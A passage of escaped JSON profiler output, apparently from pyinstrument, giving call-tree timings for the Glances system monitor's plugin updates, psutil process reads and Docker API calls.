\"napms\\u0000<built-in>\\u00000\",\"time\": 0.100522,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.100522,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000278\",\"time\": 0.414931,\"attributes\": {\"cGlancesStats\": 0.414930937004101, \"l287\": 0.414930937004101},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000573\",\"time\": 0.414931,\"attributes\": {\"cGlancesStats\": 0.414930937004101, \"l575\": 0.414930937004101},\"children\": [{\"identifier\": \"_func\\u0000/home/nicolargo/dev/glances/glances/globals.py\\u0000568\",\"time\": 0.414931,\"attributes\": {\"l571\": 0.414930937004101},\"children\": [{\"identifier\": \"update_plugin\\u0000/home/nicolargo/dev/glances/glances/stats.py\\u0000271\",\"time\": 0.414931,\"attributes\": {\"cGlancesStats\": 0.414930937004101, \"l274\": 0.39493442000821233, \"l275\": 0.01999651699588867},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001275\",\"time\": 0.071925,\"attributes\": {\"cDiskioPlugin\": 0.00392875599936815, \"l1278\": 0.07192477400531061, \"cContainersPlugin\": 0.004295601000194438, \"cProcesscountPlugin\": 0.06370041700574802},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001293\",\"time\": 0.071925,\"attributes\": {\"l1295\": 0.06992317399999592, \"l1294\": 0.0020016000053146854},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000108\",\"time\": 0.003929,\"attributes\": {\"cDiskioPlugin\": 0.00392875599936815, \"l114\": 0.00392875599936815},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001349\",\"time\": 0.003929,\"attributes\": {\"cDiskioPlugin\": 0.00392875599936815, \"l1351\": 0.00392875599936815},\"children\": [{\"identifier\": \"update_local\\u0000/home/nicolargo/dev/glances/glances/plugins/diskio/__init__.py\\u0000143\",\"time\": 0.003929,\"attributes\": {\"cDiskioPlugin\": 0.00392875599936815, \"l148\": 0.0019412830006331205, \"l158\": 0.0019874729987350293},\"children\": [{\"identifier\": \"disk_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00002096\",\"time\": 0.001941,\"attributes\": {\"l2129\": 0.0019412830006331205},\"children\": [{\"identifier\": \"disk_io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001028\",\"time\": 0.001941,\"attributes\": {\"l1106\": 0.0019412830006331205},\"children\": [{\"identifier\": \"read_procfs\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001033\",\"time\": 0.001941,\"attributes\": {\"l1053\": 0.0019412830006331205},\"children\": [{\"identifier\": \"str.split\\u0000<built-in>\\u00000\",\"time\": 0.001941,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001941,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"is_display\\u0000/home/nicolargo/dev/glances/glances/plugins/plugin/model.py\\u00001054\",\"time\": 0.001987,\"attributes\": {\"cDiskioPlugin\": 0.0019874729987350293, \"l1058\": 0.0019874729987350293},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001987,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"__init__\\u0000/home/nicolargo/dev/glances/glances/timer.py\\u000059\",\"time\": 0.002002,\"attributes\": {\"cCounter\": 0.0020016000053146854, \"l60\": 0.0020016000053146854},\"children\": [{\"identifier\": \"start\\u0000/home/nicolargo/dev/glances/glances/timer.py\\u000062\",\"time\": 0.002002,\"attributes\": {\"cCounter\": 0.0020016000053146854, \"l63\": 0.0020016000053146854},\"children\": [{\"identifier\": \"datetime.now\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000230\",\"time\": 0.002294,\"attributes\": {\"cContainersPlugin\": 0.0022940009948797524, \"l252\": 0.0022940009948797524},\"children\": [{\"identifier\": \"<genexpr>\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000253\",\"time\": 0.002294,\"attributes\": {\"l256\": 0.0022940009948797524},\"children\": [{\"identifier\": \"get_containers_from_updated_watcher\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/__init__.py\\u0000247\",\"time\": 0.002294,\"attributes\": {\"l248\": 0.0022940009948797524},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/containers/engines/docker.py\\u0000248\",\"time\": 0.002294,\"attributes\": {\"cDockerExtension\": 0.0022940009948797524, \"l260\": 0.0022940009948797524},\"children\": [{\"identifier\": \"list\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/models/containers.py\\u0000957\",\"time\": 0.002294,\"attributes\": {\"cContainerCollection\": 0.0022940009948797524, \"l1009\": 0.0022940009948797524},\"children\": [{\"identifier\": \"containers\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/container.py\\u0000152\",\"time\": 0.002294,\"attributes\": {\"cAPIClient\": 0.0022940009948797524, \"l212\": 0.0022940009948797524},\"children\": [{\"identifier\": \"inner\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/utils/decorators.py\\u000038\",\"time\": 0.002294,\"attributes\": {\"cAPIClient\": 0.0022940009948797524, \"l44\": 0.0022940009948797524},\"children\": [{\"identifier\": \"_get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/docker/api/client.py\\u0000244\",\"time\": 0.002294,\"attributes\": {\"cAPIClient\": 0.0022940009948797524, \"l246\": 0.0022940009948797524},\"children\": [{\"identifier\": \"get\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000593\",\"time\": 0.002294,\"attributes\": {\"cAPIClient\": 0.0022940009948797524, \"l602\": 0.0022940009948797524},\"children\": [{\"identifier\": \"request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000500\",\"time\": 0.002294,\"attributes\": {\"cAPIClient\": 0.0022940009948797524, \"l589\": 0.0022940009948797524},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/sessions.py\\u0000673\",\"time\": 0.002294,\"attributes\": {\"cAPIClient\": 0.0022940009948797524, \"l703\": 0.0022940009948797524},\"children\": [{\"identifier\": \"send\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/requests/adapters.py\\u0000590\",\"time\": 0.002294,\"attributes\": {\"cUnixHTTPAdapter\": 0.0022940009948797524, \"l644\": 0.0022940009948797524},\"children\": [{\"identifier\": \"urlopen\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000592\",\"time\": 0.002294,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.0022940009948797524, \"l787\": 0.0022940009948797524},\"children\": [{\"identifier\": \"_make_request\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connectionpool.py\\u0000377\",\"time\": 0.002294,\"attributes\": {\"cUnixHTTPConnectionPool\": 0.0022940009948797524, \"l534\": 0.0022940009948797524},\"children\": [{\"identifier\": \"getresponse\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/urllib3/connection.py\\u0000540\",\"time\": 0.002294,\"attributes\": {\"cUnixHTTPConnection\": 0.0022940009948797524, \"l571\": 0.0022940009948797524},\"children\": [{\"identifier\": \"getresponse\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u00001386\",\"time\": 0.002294,\"attributes\": {\"cUnixHTTPConnection\": 0.0022940009948797524, \"l1430\": 0.0022940009948797524},\"children\": [{\"identifier\": \"begin\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000324\",\"time\": 0.002294,\"attributes\": {\"cHTTPResponse\": 0.0022940009948797524, \"l331\": 0.0022940009948797524},\"children\": [{\"identifier\": \"_read_status\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/http/client.py\\u0000291\",\"time\": 0.002294,\"attributes\": {\"cHTTPResponse\": 0.0022940009948797524, \"l292\": 0.0022940009948797524},\"children\": [{\"identifier\": \"readinto\\u0000/home/nicolargo/.local/share/uv/python/cpython-3.14.0-linux-x86_64-gnu/lib/python3.14/socket.py\\u0000712\",\"time\": 0.002294,\"attributes\": {\"cSocketIO\": 0.0022940009948797524, \"l725\": 0.0022940009948797524},\"children\": [{\"identifier\": \"socket.recv_into\\u0000<built-in>\\u00000\",\"time\": 0.002294,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002294,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]}]},{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/plugins/processcount/__init__.py\\u000077\",\"time\": 0.063700,\"attributes\": {\"cProcesscountPlugin\": 0.06370041700574802, \"l85\": 0.06370041700574802},\"children\": [{\"identifier\": \"update\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000591\",\"time\": 0.063700,\"attributes\": {\"cGlancesProcesses\": 0.06370041700574802, \"l617\": 0.05770090100122616, \"l621\": 0.002001362998271361, \"l653\": 0.002679111006727908, \"l659\": 0.0013190419995225966},\"children\": [{\"identifier\": \"build_process_list\\u0000/home/nicolargo/dev/glances/glances/processes.py\\u0000476\",\"time\": 0.057701,\"attributes\": {\"cGlancesProcesses\": 0.05770090100122616, \"l478\": 0.049704148004821036, \"l493\": 0.007996752996405121},\"children\": [{\"identifier\": \"process_iter\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001512\",\"time\": 0.049704,\"attributes\": {\"l1541\": 0.0019713190049515106, \"l1558\": 0.047732828999869525},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001482\",\"time\": 0.001971,\"attributes\": {\"l1485\": 0.0019713190049515106},\"children\": [{\"identifier\": \"pids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001523\",\"time\": 0.001971,\"attributes\": {\"l1526\": 0.0019713190049515106},\"children\": [{\"identifier\": \"listdir\\u0000<built-in>\\u00000\",\"time\": 0.001971,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001971,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"as_dict\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000545\",\"time\": 0.047733,\"attributes\": {\"cProcess\": 0.047732828999869525, \"l579\": 0.047732828999869525},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.001737,\"attributes\": {\"cProcess\": 0.0017368799963151105, \"l680\": 0.0017368799963151105},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001737,\"attributes\": {\"cProcess\": 0.0017368799963151105, \"l1593\": 0.0017368799963151105},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.001737,\"attributes\": {\"cProcess\": 0.0017368799963151105, \"l1740\": 0.0017368799963151105},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001737,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001996,\"attributes\": {\"cProcess\": 0.0019955450043198653, \"l382\": 0.0019955450043198653},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001996,\"attributes\": {},\"children\": []}]},{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000829\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020019699950353242, \"l836\": 0.0020019699950353242},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020019699950353242, \"l1593\": 0.0020019699950353242},\"children\": [{\"identifier\": \"io_counters\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001792\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020019699950353242, \"l1796\": 0.0020019699950353242},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002002,\"attributes\": {\"l682\": 0.0020019699950353242},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002002,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002002,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000528998905793, \"l382\": 0.002000528998905793},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000528998905793, \"l1138\": 0.002000528998905793},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000528998905793, \"l1593\": 0.002000528998905793},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.002001,\"attributes\": {\"cProcess\": 0.002000528998905793, \"l1878\": 0.002000528998905793},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002001,\"attributes\": {\"l682\": 0.002000528998905793},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002001,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002001,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.003997,\"attributes\": {\"cProcess\": 0.003997403000539634, \"l939\": 0.003997403000539634},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.003997,\"attributes\": {\"cProcess\": 0.003997403000539634, \"l1593\": 0.003997403000539634},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.003997,\"attributes\": {\"cProcess\": 0.003997403000539634, \"l2052\": 0.0019983270030934364, \"l2053\": 0.001999075997446198},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019983270030934364, \"l1593\": 0.0019983270030934364},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019983270030934364, \"l382\": 0.0019983270030934364},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.001998,\"attributes\": {\"cProcess\": 0.0019983270030934364, \"l1718\": 0.0019983270030934364},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.001998,\"attributes\": {\"l682\": 0.0019983270030934364},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.001998,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001998,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"Pattern.findall\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001998915999138262, \"l382\": 0.001998915999138262},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u00001129\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001998915999138262, \"l1138\": 0.001998915999138262},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001998915999138262, \"l1593\": 0.001998915999138262},\"children\": [{\"identifier\": \"memory_info\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001865\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.001998915999138262, \"l1878\": 0.001998915999138262},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.001999,\"attributes\": {\"l682\": 0.001998915999138262},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.005999,\"attributes\": {\"cProcess\": 0.005998571003146935, \"l680\": 0.003999337997811381, \"l687\": 0.0019992330053355545},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000287000555545, \"l1593\": 0.002000287000555545},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000287000555545, \"l1740\": 0.002000287000555545},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000287000555545, \"l1593\": 0.002000287000555545},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000287000555545, \"l382\": 0.002000287000555545},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000287000555545, \"l1683\": 0.002000287000555545},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.002000,\"attributes\": {\"l730\": 0.002000287000555545},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.002000,\"attributes\": {\"l718\": 0.002000287000555545},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.002000,\"attributes\": {\"l682\": 0.002000287000555545},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019992330053355545, \"l748\": 0.0019992330053355545},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019992330053355545, \"l1593\": 0.0019992330053355545},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001748\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019992330053355545, \"l1754\": 0.0019992330053355545},\"children\": [{\"identifier\": \"_raise_if_zombie\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001646\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019992330053355545, \"l1647\": 0.0019992330053355545},\"children\": [{\"identifier\": \"_is_zombie\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001630\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019992330053355545, \"l1638\": 0.0019992330053355545},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.001999,\"attributes\": {\"l730\": 0.0019992330053355545},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.001999,\"attributes\": {\"l718\": 0.0019992330053355545},\"children\": [{\"identifier\": \"open_binary\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000681\",\"time\": 0.001999,\"attributes\": {\"l682\": 0.0019992330053355545},\"children\": [{\"identifier\": \"open\\u0000<built-in>\\u00000\",\"time\": 0.001999,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]}]},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019990509972558357, \"l1593\": 0.0019990509972558357},\"children\": [{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001737\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019990509972558357, \"l1740\": 0.0019990509972558357},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019990509972558357, \"l1593\": 0.0019990509972558357},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019990509972558357, \"l382\": 0.0019990509972558357},\"children\": [{\"identifier\": \"_parse_stat_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001672\",\"time\": 0.001999,\"attributes\": {\"cProcess\": 0.0019990509972558357, \"l1683\": 0.0019990509972558357},\"children\": [{\"identifier\": \"bcat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000728\",\"time\": 0.001999,\"attributes\": {\"l730\": 0.0019990509972558357},\"children\": [{\"identifier\": \"cat\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000711\",\"time\": 0.001999,\"attributes\": {\"l718\": 0.0019990509972558357},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001999,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]}]},{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000808\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.002002743996854406, \"l812\": 0.002002743996854406},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.002002743996854406, \"l1593\": 0.002002743996854406},\"children\": [{\"identifier\": \"gids\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002265\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.002002743996854406, \"l2267\": 0.002002743996854406},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.002002743996854406, \"l1593\": 0.002002743996854406},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002003,\"attributes\": {\"cProcess\": 0.002002743996854406, \"l391\": 0.002002743996854406},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002003,\"attributes\": {},\"children\": []}]}]}]}]}]},{\"identifier\": \"name\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000673\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019971690053353086, \"l687\": 0.0019971690053353086},\"children\": [{\"identifier\": \"cmdline\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000746\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019971690053353086, \"l748\": 0.0019971690053353086},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.001997,\"attributes\": {\"cProcess\": 0.0019971690053353086, \"l1593\": 0.0019971690053353086},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.001997,\"attributes\": {},\"children\": []}]}]}]},{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/__init__.py\\u0000937\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000170999963302, \"l939\": 0.002000170999963302},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000170999963302, \"l1593\": 0.002000170999963302},\"children\": [{\"identifier\": \"num_threads\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00002049\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000170999963302, \"l2052\": 0.002000170999963302},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001589\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000170999963302, \"l1593\": 0.002000170999963302},\"children\": [{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000170999963302, \"l382\": 0.002000170999963302},\"children\": [{\"identifier\": \"_read_status_file\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_pslinux.py\\u00001711\",\"time\": 0.002000,\"attributes\": {\"cProcess\": 0.002000170999963302, \"l1718\": 0.002000170999963302},\"children\": [{\"identifier\": \"BufferedReader.__exit__\\u0000<built-in>\\u00000\",\"time\": 0.002000,\"attributes\": {},\"children\": [{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []}]}]}]}]}]}]}]},{\"identifier\": \"[self]\",\"time\": 0.002000,\"attributes\": {},\"children\": []},{\"identifier\": \"wrapper\\u0000/home/nicolargo/dev/glances/.venv/lib/python3.14/site-packages/psutil/_common.py\\u0000367\",\"time\": 0.002002,\"attributes\": {\"cProcess\": 0.0020019239964312874, \"l382\": 0.0020019239964312874},\"children\": [{\"identifier\": 